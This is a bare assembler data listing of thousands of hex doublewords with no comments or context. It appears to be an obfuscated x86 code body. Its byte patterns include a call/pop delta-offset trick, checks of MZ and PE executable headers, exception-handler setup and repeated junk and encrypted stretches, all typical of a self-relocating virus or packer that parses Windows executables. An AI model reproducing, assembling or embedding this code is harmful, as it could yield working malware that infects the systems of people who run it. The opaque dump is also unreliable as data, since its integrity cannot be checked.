		dd 95FFF98Ch, 6031CB1h,	11E952h, 918A0000h, 4206BAA4h
		dd 18B4899Fh, 5D00E151h, 5F660666h, 0DC0E9h, 0E800h, 815D0000h
		dd 82486EDh, 820FFC06h,	6, 1EE98D29h, 858D0603h, 6068889h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 31C35646h
		dd 0B9D6D36Dh, 0F50A69Fh, 48Ch,	0A0BB6600h, 240489E6h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 6AC35040h
		dd 6B1210DAh, 0F671BA5h, 50C3802Dh, 35FF64h, 33000000h
		dd 30A65BDh, 25896406h,	0
		dd 28C0Fh, 5B530000h, 2A1585FFh, 6A0603h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 160424h, 51410000h, 4D16F5C3h
		dd 6AFF6Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h
		dd 51410000h, 7E2E3EC3h, 7E9h, 9ED5E200h, 848D94B0h, 625B5FFh
		dd 6A0603h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h
		dd 56460000h, 0FEE6E7C3h, 0D88B6626h, 58A0Fh, 73BB0000h
		dd 0FF528953h, 3201595h, 163E906h, 81660000h, 0B08CC8D3h
		dd 11E800h, 0F62A0000h,	33DA9F3Dh, 0CD8C6B9Bh, 0E4BDDB25h
		dd 0BBEE46F9h, 4A51BC14h, 8B70E65Bh, 30AD1BDh, 0F71E406h
		dd 613CD9BFh, 12B830Fh,	0B60F0000h, 0BD8589C8h,	0BA060323h
		dd 6, 9D8BC18Bh, 6030281h, 6604E8C1h, 0BD03E2F7h, 6031399h
		dd 9529C82Bh, 6032D05h,	6657D18Bh, 0F382F781h, 0F3E95Fh
		dd 8F0F0000h, 8, 41958960h, 61060330h, 8B83B060h, 322BDBDh
		dd 858B6106h, 4947554Ch, 2D619589h, 10E80603h, 81000000h
		dd 0A980041Dh, 2318468Bh, 7F63214Fh, 6017D3BCh,	7E8h, 130EDE00h
		dd 4FCA3D83h, 2DB58959h, 61060306h, 7C0835Bh, 60BB6653h
		dd 0DF8B5F72h, 900C083h, 3255D8Dh, 0FD03B06h, 3083h, 8E800h
		dd 0FD6D0000h, 0A89FDB4Fh, 0EE9060Ah, 50000000h, 131C54A2h
		dd 0C1905609h, 0B8010E1Ch, 62E95F12h, 60000000h, 0F181C78Bh
		dd 77D9D3Dh, 0FF8D8B61h, 0E9FFFFFFh, 0Ah, 0A5E3D967h, 6DF59743h
		dd 0E1834B4Fh, 3A840F01h, 0F9000000h, 0FFFFA583h, 8BFEFFFFh
		dd 31CA19Dh, 99BD8B06h,	89060332h, 47554C95h, 10E849h
		dd 77540000h, 0C667EC98h, 0A71C28E3h, 8C2C49DEh, 0C3BF3DDCh
		dd 5B72874Bh, 0E9h, 28B58D00h, 6A0607A5h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 2919C353h
		dd 314E9F11h, 31FB59Dh,	6A006A06h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 3900C351h
		dd 8166EBE0h, 66C18EC7h, 0F880ABFh, 684h, 0FD858900h, 0FF060313h
		dd 31FB995h, 57006A06h,	3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1404h, 0C3574700h, 109CB917h, 8D890000h, 60311ADh, 40B37BBFh
		dd 0FCE18301h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Ah,	2C35343h, 0AA753DA4h, 0BD8B5184h, 60301DDh, 249D8589h
		dd 0E9FC0603h, 0Fh, 8138DBDh, 0F7CBD160h, 9DBB7126h, 0B89544D7h
		dd 0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0CBC35343h
		dd 0BFC4F749h, 174823F7h, 10E9h, 0EF9D4300h, 9252C9FDh
		dd 4A992794h, 9D86D175h, 0BBD22BB4h, 7ABB433Fh,	0D1C233ADh
		dd 83D003E8h, 0F47504E9h, 0A1CF8166h, 0E985893Dh, 0F060328h
		dd 685h, 1DB52900h, 0D06031Eh, 88h, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 17h, 9EC35343h, 0F2F22A2h, 958BD9BFh
		dd 60331D1h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 18h,	28C35646h, 0B94DBB41h, 11E960h,	1D650000h, 5A168880h
		dd 8E87E0C5h, 99C87868h, 0F2EFB45h, 382h, 0FE8B6600h, 8BDF8B61h
		dd 301E18Dh, 51006A06h,	3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1504h, 0C3514100h, 0FA8BB311h, 8BC28B50h, 8BC10318h
		dd 0D1C18B18h, 8BC203E8h, 5E85818h, 1B000000h, 6CEBBDE0h
		dd 24B1BD29h, 8B5F0603h, 31BA5BDh, 65BD8306h, 6031Dh, 6E840Fh
		dd 0B80000h, 6A000000h,	3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 15042444h, 47000000h, 0D80DC357h,	4D1C8D8Dh
		dd 6A0603h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h
		dd 52420000h, 5BFDE1C3h, 0E1FFDD64h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 16h, 1CC35141h, 0BD31BE29h, 6032A69h
		dd 21BDBD83h, 0F000603h, 3F384h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1404h,	0C3524200h, 0BDBD8384h
		dd 1060321h, 3E5840Fh, 6A0000h,	3E851h,	59200000h, 4C8959C3h
		dd 44810424h, 170424h, 51410000h, 0F83E66C3h, 9DD1BF80h
		dd 0BD837675h, 60321BDh, 7E860F03h, 6A000003h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h
		dd 603BC357h, 0F781DDB3h, 44FA2F6Eh, 8BD98C66h,	320EDBDh
		dd 4E18006h, 54F78166h,	0FC90A4Eh, 11284h, 52006A00h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h
		dd 60608F21h, 8A0Fh, 0BD890000h, 6031B35h, 61CB8A61h, 13C1858Bh
		dd 6A0603h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
		dd 53430000h, 0AD5DF1C3h, 9A42E3C0h, 8E8h, 6E52CD00h, 47DD9002h
		dd 6800FDCh, 89000000h,	324B9BDh, 85335B06h, 6031C79h
		dd 0F50DA8Ah, 288h, 89D98B00h, 95892404h, 6033071h, 0BD89006Ah
		dd 6032945h, 24759589h,	4E80603h, 0FF000000h, 0E8001F03h
		dd 0Dh,	1FB27A69h, 5923E2E8h, 0FD1F6DC5h, 0DA8B6639h, 8B0F505Fh
		dd 0
		dd 424448Bh, 10E8h, 3A56A300h, 1A9EDFB2h, 0AB8FBE26h, 15CD7CA9h
		dd 8B665765h, 8B5F5FF8h, 0DE8B6600h, 4244489h, 523CBB66h
		dd 0C0CF8158h, 0FF77C71Ah, 3140595h, 34858906h,	0E90606A7h
		dd 1C1h, 0FFBBF0Fh, 683h, 6D9D8B00h, 8B060326h,	6A72C85h
		dd 1D8DBF06h, 0C774C7h,	18h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 17h, 0DEC35040h,	6099C157h, 0B319D8Bh
		dd 8B660603h, 0B58961FBh, 60330EDh, 0A730B58Bh,	6A0606h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
		dd 0CACCC1C3h, 858BBA78h, 603128Dh, 13718D29h, 6890603h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 12C35040h
		dd 0C1858BF8h, 6A060313h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1D042444h, 43000000h, 0DEFBC353h,	7D2A0D75h
		dd 7094B5C4h, 0FA6DF80h, 0C87h,	6850F00h, 0F000000h, 8Dh
		dd 4468900h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 17h,	87C35343h, 8B3591FDh, 605096FAh, 60DE8B60h, 96616161h
		dd 0FFD88B66h, 6A72CB5h, 51006A06h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1A04h, 0C3514100h, 0CBAA622Eh, 0E88CC636h
		dd 5, 0EA63B6B1h, 685BF8B9h, 29572114h,	741EF8BFh, 2434813Ch
		dd 294822EBh, 0A734858Dh, 6A0606h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 160424h, 53430000h, 1CE6F5C3h, 2B8A74BBh
		dd 50609040h, 42BA6652h, 60310F6Ch, 61585A61h, 90F88B50h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 8AC35545h
		dd 2D79BD8Bh, 95FF0603h, 6031405h, 60DB8166h, 0BF66617Ch
		dd 8E0F449Ah, 8, 3DB58953h, 5F060310h, 21BD85C7h, 30603h
		dd 8B0F0000h, 18h, 13E9h, 4C1C5F00h, 0B010A805h, 0E4F51CB6h
		dd 0B76CF2B1h, 0DDED8028h, 0A734BD83h, 0F000606h, 3484h
		dd 0DE8B6600h, 47E9h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1804h, 0C3564600h, 22AA4322h, 8B6053A7h
		dd 8E0FF0h, 61000000h, 0C30505Fh, 11440011h, 10E8C101h
		dd 2114430h, 3114C00h, 4E98358h, 36EBE775h, 11043050h
		dd 1116400h, 3010E8C1h,	21144h,	58031164h, 7504E983h, 501BEBE7h
		dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h
		dd 0E77504E9h, 0C08B00EBh, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 14h, 0B1C35242h, 0BD835FB7h, 60321BDh, 33850F03h
		dd 6A000004h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 16042444h, 42000000h, 0FAD5C352h, 34BD8345h,	606A7h
		dd 408840Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 160424h, 55450000h, 6CFB93C3h, 34B5FFF5h, 890606A7h
		dd 326F595h, 595FF06h, 8906032Eh, 30BEDBDh, 28B58B06h
		dd 6A0606A7h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 16042444h, 43000000h, 0ACCFC353h, 106C7E5h, 89000100h
		dd 324319Dh, 0BB669606h, 0E950EE98h, 0Bh, 68EC6B3Bh, 5E9FE156h
		dd 96573523h, 7E9h, 53FB3800h, 0CBF1F417h, 0A734B5FFh
		dd 95FF0606h, 6032F19h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Ch, 0CEC35141h, 7310E141h, 153067C6h, 2DF38166h
		dd 28B58B2Ch, 6A0606A7h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 19042444h, 45000000h, 7120C355h, 96E8136Dh
		dd 0C604E381h, 8B663FECh, 0C5BD8BFBh, 8B06031Ch, 3311D85h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1D04h
		dd 0C3514100h, 1ED4123Bh, 25BC19D3h, 9D8B4954h,	6031381h
		dd 0C48689h, 9D890000h,	6032085h, 31D1958Bh, 6A0603h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
		dd 0EAFA58C3h, 0A1852951h, 5F06031Dh, 15810Fh, 9E80000h
		dd 7A000000h, 1F130A2Fh, 0C58FF803h, 0B3D9D8Bh,	835B0603h
		dd 6A04C2h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h
		dd 51410000h, 1CE73BC3h, 0BD8B7234h, 6030AD9h, 81205089h
		dd 3739BCD7h, 0F3858D69h, 6A0606BBh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 1ECC356h
		dd 310B585h, 0B8868906h, 60000000h, 1171958Bh, 8D090603h
		dd 603306Dh, 6A006A61h,	3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1D042444h, 45000000h, 206AC355h, 4CB5078h
		dd 0DAE57026h, 5E9h, 8BDD6C00h,	0B5FF626Ah, 606A734h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 6EC35141h, 0CE91Dh
		dd 0F5F0000h, 0C5ACAF15h, 3D6D0382h, 0C381A004h, 3CF16161h
		dd 1CB195FFh, 6A0603h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 150424h, 55450000h, 0E8ABC5C3h, 7, 27EF4776h, 66D9B34Ah
		dd 90AFD381h, 0AE8505Bh, 4C000000h, 174B70ACh, 0F1CB8BBCh
		dd 0DF8B6690h, 2434895Fh, 5E952h, 9C620000h, 5B0BA410h
		dd 0A734B5FFh, 0B5090606h, 6030A31h, 24D38166h,	6595FF5Bh
		dd 0F060311h, 0BD83D9BFh, 6031795h, 25840F00h, 8B000000h
		dd 3229DBDh, 96509606h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 14h, 8AC35747h, 0A734B5FFh, 0D98B0606h, 66195FFh
		dd 0BD8B0603h, 6030179h, 0A734B5FFh, 6A0606h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 160424h, 50400000h, 8410BCC3h
		dd 19FBBB53h, 295F4B33h, 32171B5h, 0E195FF06h, 6A06030Ah
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 15042444h
		dd 43000000h, 1D25C353h, 89F38166h, 8DBD83EEh, 2060321h
		dd 88840Fh, 6A0000h, 3E852h, 5A200000h,	54895AC3h, 44810424h
		dd 1B0424h, 52420000h, 4ADE36C3h, 1C9A1F94h, 0F9505779h
		dd 858B5F5Bh, 60301FDh,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Ah, 48C35646h, 13F98B7Ah,	0E8F5CDF4h, 0Ch
		dd 0BAFA8814h, 54F06D3Ch, 5456D56Ah, 20C58D29h,	0C65F0603h
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h
		dd 50400000h, 85C7F3C3h, 60330B9h, 0
		dd 5AF2DF81h, 1DE90CF6h, 8BFFFFF3h, 53006AC1h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1604h,	0C3534300h, 89606541h
		dd 30AA185h, 0BA06h, 0EA81F00Eh, 0F0000000h, 8914C283h
		dd 31C3D95h, 14EA8306h,	32E7858Dh, 64500608h, 35FFh, 89640000h
		dd 25h,	0E800h,	2B580000h, 0F00025C2h, 8166FFFFh, 0F5A4D38h
		dd 1285h, 50B70F00h, 81D0033Ch,	45503Ah, 0A840F00h, 2D000000h
		dd 1000h, 0FFFFD9E9h, 89C88BFFh, 3012185h, 3C400306h, 650B70Fh
		dd 12099589h, 508B0603h, 19958950h, 5060301h, 0F8h, 30C508Bh
		dd 0B59589D1h, 306032Ch, 95890850h, 603129Dh, 58F64h, 83000000h
		dd 13E904C4h, 51000000h, 10244C8Bh, 0B0A981h, 10000000h
		dd 33590000h, 0BD83C3C0h, 6032CDDh, 24840F00h, 0C6000000h
		dd 32F3985h, 0D2684706h, 0FFD49AA7h, 328C9B5h, 0BC858D06h
		dd 0FF060673h, 0FF006AD0h, 458589D0h, 8B06032Dh, 0EA8D8DD3h
		dd 89060833h, 32559B5h,	28C0F06h, 0B6000000h, 0D18D8960h
		dd 8B060331h, 31FA5B5h,	0E185C706h, 74060301h, 0E900005Bh
		dd 8, 9F9D737Dh, 24C1087Ah, 21BD85C7h, 603h, 6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h
		dd 9D33B1C3h, 60328E1h,	10CDB5FFh, 6A0603h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 0BDD5BBC3h
		dd 0E9D700Eh, 95FFFC10h, 6032691h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Bh, 0E1C35545h,	5902C13Eh, 6AEB2706h
		dd 0B995FF00h, 8B06031Fh, 0C60EEBC0h, 47BAC7CDh, 128D62A3h
		dd 0FC4420C6h, 228D8D89h, 6A060835h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 0BFE1C355h
		dd 0A397B143h, 0D18D89F2h, 0F060331h, 0D8Ah, 9D896000h
		dd 6030B75h, 0BEDC04BBh, 85C76104h, 60301E1h, 6A44h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 83C35343h, 0D29258AEh
		dd 0E9C1B70Fh, 0Ah, 81403D91h, 853D7404h, 85C7B460h, 60321BDh
		dd 0
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 4C35747h
		dd 8C6525AFh, 5A07BA87h, 2C0D858Bh, 0B5FF0603h,	60310CDh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h, 18C35646h
		dd 0E902214Ch, 0Ah, 0FCB935A5h,	0A34180ACh, 95FFDDF4h
		dd 6032691h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 14h,	0D8C35141h, 12E9h, 9A644200h, 0A934A9B3h, 0B6D0A4F7h
		dd 802F507Ch, 6ACE58EAh, 0B995FF00h, 8B06031Fh,	10EEBC0h
		dd 0FFD6D1E5h, 5A5AFD06h, 0BAA568B1h, 0BE8DDh, 86FF0000h
		dd 630F9D23h, 0BF5C380Dh, 0F9858BD4h, 5B060310h, 0F4F9C281h
		dd 0C3813947h, 5E37h, 0B9FE8B66h, 0
		dd 0F0B348Bh, 285h, 81585600h, 0FC4FACEEh, 0F681FC30h
		dd 1CE167DAh, 13999D01h, 0EE810603h, 56BC542h, 12E9h, 1D9DF900h
		dd 8DCD04C8h, 0F57B20A3h, 9DFABD69h, 89470880h,	8E90B34h
		dd 40000000h, 0FF579CB7h, 8B94E8D1h, 320ED95h, 0A6E98106h
		dd 0FC3F38F9h, 0F9A2C181h, 95233F38h, 60331BDh,	0A260F981h
		dd 850FFFFFh, 0FFFFFF90h, 2BE78166h, 8E89Eh, 0EAEB0000h
		dd 0B8C65A11h, 0CA8B5F61h, 0D081665Bh, 0C3815941h, 6305h
		dd 188CBAh, 412EB800h, 338B65ADh, 2A79B529h, 0C6810603h
		dd 411B0E7Eh, 381858Bh,	0EE810603h, 1F552EDDh, 0A515F681h
		dd 8D896E26h, 6032851h,	9E856h,	94FF0000h, 63A8272h, 0E917EDC2h
		dd 8, 76F71B15h, 7D653C72h, 81038F58h, 0EEB569EBh, 0FABF0F62h
		dd 0B565C381h, 0B70F62EEh, 1EA81FFh, 0F000000h,	1B85h
		dd 0C28B6600h, 4EE9h, 8BF9D300h, 7435AE76h, 173C648Ch
		dd 0BA10577h, 0C65535E9h, 12E8h, 29EAB300h, 0A92332CCh
		dd 0BBCA21C4h, 0A5AA9C3Ch, 0E9287764h, 10h, 54D3EBFAh
		dd 8A3FB00Fh, 0B89A43D2h, 644986C5h, 0FF50E95Fh, 0BDBEFFFFh
		dd 0CCD9D29h, 0D33E6BDDh, 19BEF36Bh, 0EC3782D7h, 578608D8h
		dd 2B0CB55Bh, 0E8350EDBh, 0D3888BD1h, 67330BC9h, 0E06511ACh
		dd 0DA8DC853h, 653508DCh, 75227D5Dh, 0AAA885DEh, 62330D68h
		dd 4D6D530Bh, 64241565h, 0A44108DEh, 0DA8D5B88h, 653508DCh
		dd 75227D5Dh, 0BBA885DEh, 62330D75h, 0E76D530Bh, 64143D65h
		dd 0E03562DEh, 0D9350B30h, 2F6E28D8h, 52698183h, 1F7189DCh
		dd 9D3512DCh, 0D664BD8h, 354C9351h, 6D1AEBAh, 0B0888108h
		dd 0E3330BC7h, 76350B52h, 0B0EC88D8h, 8DDDC853h, 343508D8h
		dd 7DE59003h, 242ACFC0h, 58D9FAE9h, 657DA8E0h, 752AC95Dh
		dd 0B75357DEh, 0CE356200h, 0CE350B30h, 0A46E28D8h, 97698183h
		dd 0FD7189DCh, 0EC3515DCh, 0B5664BD8h, 2FA251Ch, 2A4A2C5Dh
		dd 66C0331Dh, 0B107DCh,	9A3508DBh, 0DA135955h, 69888BDEh
		dd 76330BC4h, 3B128CD7h, 9D5F08D8h, 0CE36E08Eh,	391508D8h
		dd 0C7BC561Bh, 9DB40CFCh, 0EC210CFCh, 207308D8h, 8604211Bh
		dd 9B361A51h, 0CE362531h, 4035B6D8h, 6CB50AD8h,	0D932E116h
		dd 97E708D8h, 0F5371B87h, 36B0857Ah, 0F7330E55h, 0CDDD59D8h
		dd 473508D8h, 3A6CCB81h, 58312C94h, 0FB312C9Ch,	373508D8h
		dd 3A00CB89h, 10BE9A4Dh, 0C8361899h, 0EE3AD827h, 0B33508D0h
		dd 0C8B08188h, 0B7330BDAh, 0F23AC85Dh, 3B35082Eh, 1CCEBFD7h
		dd 4F535FE0h, 75B00723h, 3A3508D8h, 0DA14D54Dh,	94B46EDEh
		dd 79370ADCh, 3B37D85Ch, 0A5B46ED8h, 4B3A6844h,	67350812h
		dd 5B6508B2h, 0D93508DBh, 0B4F650F8h, 72114C51h, 3F114C59h
		dd 9D3508C4h, 0D8F65898h, 0D64160F2h, 816ECBBAh, 59FE83BEh
		dd 0E3DD0AA0h, 7635915Dh, 0E28883D8h, 0FB330BC2h, 0CE337059h
		dd 0E0B00773h, 0D93508D8h, 0DADD5ED8h, 0CC3508D8h, 0FF6BCB86h
		dd 0BA312CACh, 80312C9Ch, 883508D8h, 0D708CB8Eh, 76880AA5h
		dd 4A1A3191h, 0EC350D31h, 5D67F0D8h, 28DDAE24h,	733508D8h
		dd 0DEB5DD5Ch, 1F26B5C0h, 95E3115h, 0F8326F7Bh,	61BC6373h
		dd 70360135h, 0B93A5F87h, 9D3508D9h, 0E8DC5220h, 0D3508DAh
		dd 0B0DD5AD8h, 0F93508D8h, 656FCB82h, 0F7312C8Ch, 2D312C9Ch
		dd 0DF3508D8h, 0B1C2CB8Ah, 673DE138h, 0F65108D8h, 0CA082A00h
		dd 0EC8B3720h, 557309D9h, 38352965h, 90B085DEh,	0A4330E55h
		dd 64DD5DD8h, 933508D8h, 5068CB85h, 6D312CB4h, 6C312C9Ch
		dd 7E3508D8h, 36AFCB8Dh, 0AFCA2FD2h, 673FE0CCh,	0EA6B08D8h
		dd 43FB89F2h, 1D44B43Dh, 0D735FA59h, 0B06A4A95h, 9E39E555h
		dd 9EE5F7DEh, 77134E67h, 73B051B9h, 0D8B58CD7h,	513E08D8h
		dd 70362071h, 0B28883B8h, 0FD330BF9h, 0C2848D51h, 6CC0EDBh
		dd 0D50D89B9h, 0D6370AE5h, 0EC351B5Dh, 978021D8h, 0BA330BFEh
		dd 0A0530EA0h, 4A3A7287h, 673509BDh, 2F0D89BEh,	0B3B007B8h
		dd 653508D8h, 75350D5Dh, 394D88DEh, 0C7B00730h,	713508D8h
		dd 5BE4F18Bh, 3DFC89BEh, 0A1B46EF6h, 0E3F508DEh, 76354C5Dh
		dd 3B3AE0D8h, 0C48608D8h, 9C431F6Dh, 0FCDF9D71h, 8C5FAE58h
		dd 0DBB007DCh, 673508D8h, 64DC5123h, 513508D9h,	9EDD5DD8h
		dd 0EE3508D8h, 0EE68CB85h, 32312CB4h, 0CE312C9Ch, 0A93508D8h
		dd 5F5CB8Dh, 8C3A9C2Eh,	9C35B623h, 4BBC76D9h, 613604B1h
		dd 3E388D55h, 66530EDEh, 3CCAEB6Bh, 9E6008B2h, 3B3508DBh
		dd 0C0F655F8h, 0CA116451h, 63114C59h, 0B33508C0h, 0EEF65D9Dh
		dd 0D445CB69h, 0FB3A5F6Eh, 3B3508D2h, 0F4A083B8h, 45330BF0h
		dd 0A7B06908h, 0B3B18CD7h, 0D95F08D8h, 0EC36E089h, 2F1508D8h
		dd 77BC511Bh, 0D9B40CFCh, 0CE200CFCh, 367408D8h, 3AF8941Bh
		dd 0DA37ED5Dh, 748E6EDEh, 9E0D88EEh, 3B158DD7h,	0BC08D8h
		dd 0C8361A4Dh, 14307058h, 0B3258DD7h, 9BF08D8h,	0EB4D8820h
		dd 24B1078Bh, 5D3508D8h, 1C53D153h, 0C13087E0h,	6735215Dh
		dd 0C28839D8h, 59330BC6h, 0E35D0EA0h, 7635115Dh, 0BA53F4D8h
		dd 0B8CA03A0h, 0CE398DD7h, 8EC008D8h, 0B33508F9h, 0F00C8551h
		dd 0EC8D0EDBh, 103508D8h, 1854C759h, 9EB88553h,	0D0DC0EDBh
		dd 0EC3508D8h, 0B03C5D4Dh, 0D934B0DEh, 0EBDD08D8h, 743508D8h
		dd 68D05304h, 181C4F01h, 0C8360959h, 93BF5887h,	0C110C51h
		dd 0D3B18438h, 0DA86B555h, 0FBB80ED0h, 3D3D338Ch, 0FB602B60h
		dd 8FB00BAFh, 4C330BC3h, 0B6DCC917h, 76D99C35h,	4B14BBCh
		dd 8D556136h, 0EDE3E38h, 0EB6B6653h, 8B23CCAh, 0F305E983h
		dd 6A58A4h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h
		dd 56460000h, 0F49EEC3h, 88h, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1D04h,	0C3554500h, 4798F8E6h
		dd 0AAC11651h, 0C00B1D28h, 2F840Fh, 89600000h, 31F41B5h
		dd 38F0F06h, 66000000h,	8D61F98Bh, 34D1CB5h, 3B806h, 890F0000h
		dd 0
		dd 8B0FE6FFh, 5, 67CA8166h, 0C4B64093h,	8B66C08Bh, 39BD83F8h
		dd 60310h, 0BD830975h, 603111Dh, 50197400h, 0B8C08B53h
		dd 403h, 23918589h, 9D8D0603h, 605B0F8h, 585BD3FFh, 111DBD83h
		dd 74000603h, 0B8535017h, 403h,	23918589h, 9D8D0603h, 605AD99h
		dd 585BD3FFh, 25853360h, 80060324h, 896158C3h, 33149BDh
		dd 0FC08B06h, 0C8Eh, 6830F00h, 8B000000h, 312999Dh, 58206106h
		dd 31C85733h, 12100133h, 0BB56C26Dh, 0B3002547h, 2F062577h
		dd 74010133h, 0AC97C265h, 0C03B4671h, 5236D0Dh,	1EF1B410h
		dd 0BE6E0730h, 0E38F67EBh, 0B60D059Bh, 32010335h, 0DAD60159h
		dd 32400130h, 6CE35F13h, 363475BAh, 362C45B2h, 32040127h
		dd 15C15775h, 3207893Ch, 0A70B0133h, 34430392h,	2EA5BCB0h
		dd 3D100730h, 32082DB7h, 65046B33h, 320202DBh, 0F15E2133h
		dd 16FC886Ch, 16048037h, 32201537h, 0F1474633h,	3FB588E1h
		dd 0DB020228h, 32020099h, 74E78055h, 0EB0B513Fh, 0DA6405BAh
		dd 32200138h, 716F9167h, 0A875F9C2h, 1B4606C1h,	3118208Eh
		dd 330E5F35h, 547E257Fh, 0D9FEEAB2h, 0DAFF8A6Bh, 3210013Eh
		dd 1D98A584h, 0DA9C8273h, 0A2ED3B96h, 0FB488F3h, 69860217h
		dd 0B96CC1B0h, 312AD88Eh, 0B9188A35h, 311AB08Eh, 7A8F6735h
		dd 63026BCFh, 320102DBh, 0F1D92133h, 160C886Ah,	16648037h
		dd 32101D37h, 0F1594033h, 26115339h, 0E6AB9275h, 0F08067DCh
		dd 0B3E6118Eh, 3DBF370Ah, 3220D7B7h, 0DBE3B333h, 32080127h
		dd 32FD07F0h, 7C7FC536h, 1782BABCh, 0B1B8ABC2h,	4F379EE3h
		dd 3D29C0B0h, 321004BFh, 0E4896733h, 0B84BE26h,	0D5870EDAh
		dd 0B9010133h, 31A41486h, 30CE0E35h, 0B9200133h, 33518AEDh
		dd 0DA590159h, 32040130h, 6BC15813h, 36254DBAh,	36A445B2h
		dd 3240012Ah, 4FE35072h, 7AFFA33Eh, 0D5C28064h,	312814D3h
		dd 63026BFBh, 320102DBh, 0F1D92133h, 160C886Ah,	16648037h
		dd 32101937h, 0F1594033h, 0A39A05B0h, 0B9CCBFE3h, 0F3826357h
		dd 67806B36h, 324002DBh, 0F17D2133h, 167C886Eh,	164C8037h
		dd 32041937h, 0F1574433h, 8406E71Dh, 328BE85Ah,	75160133h
		dd 1E213BBCh, 11A062B7h, 0A2318014h, 3D8F4278h,	320248B6h
		dd 738C2833h, 0BF860217h, 310D1DBEh, 62206B35h,	321002DBh
		dd 0F1502133h, 1640886Bh, 16468037h, 32011D37h,	0F1D04133h
		dd 0D16A3208h, 139E01DFh, 0D39D880Fh, 0BB0E0221h, 31084C8Eh
		dd 3201B935h, 0D3FE0133h, 21C99CB8h, 58210730h,	31C85633h
		dd 12100133h, 0BB57C26Ch, 0B300254Fh, 29062577h, 75010133h
		dd 0BF01C264h, 404B559Ch, 8FADF44Ch, 34183D59h,	0CE28CBEh
		dd 46BC073Bh, 10393B0h,	3102A4B6h, 0F34F2A35h, 582003DAh
		dd 31C85733h, 12100133h, 0BB56C26Dh, 0B3002547h, 2F062577h
		dd 0E9830133h, 8BA4F305h, 1D8D89C0h, 0F060329h,	0C38BF6B7h
		dd 0AE8h, 2A1F2400h, 0F7279297h, 0E9FC68E2h, 5,	9626C269h
		dd 0B5895A4Eh, 603028Dh, 6614C281h, 680000h, 0F000000h
		dd 8959F9B7h, 32E1D9Dh,	1134FF06h, 0A099D89h, 0E85B0603h
		dd 13h,	0CBA4D002h, 0A5A7C958h,	0BD87A51Fh, 0D4A839F8h
		dd 0E91BC29Ch, 5, 746B8341h, 0EB815FAAh, 161A5E99h, 10E8h
		dd 406D8C00h, 567BABD1h, 8D936AA2h, 0A7332619h,	51858BFFh
		dd 5F06032Eh, 6307C381h, 0BD8B185Bh, 6031239h, 9D73EB81h
		dd 1C8921EDh, 0D881660Ah, 0E983DFE2h, 0E727BF03h, 29495B7Bh
